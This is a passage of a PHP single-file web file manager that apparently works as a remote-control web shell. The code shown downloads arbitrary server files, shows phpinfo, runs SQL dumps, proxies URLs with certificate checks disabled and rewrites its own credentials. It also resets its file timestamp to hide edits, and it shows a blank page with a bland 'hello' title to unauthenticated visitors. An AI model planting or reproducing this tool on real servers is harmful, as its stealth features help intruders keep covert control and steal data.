	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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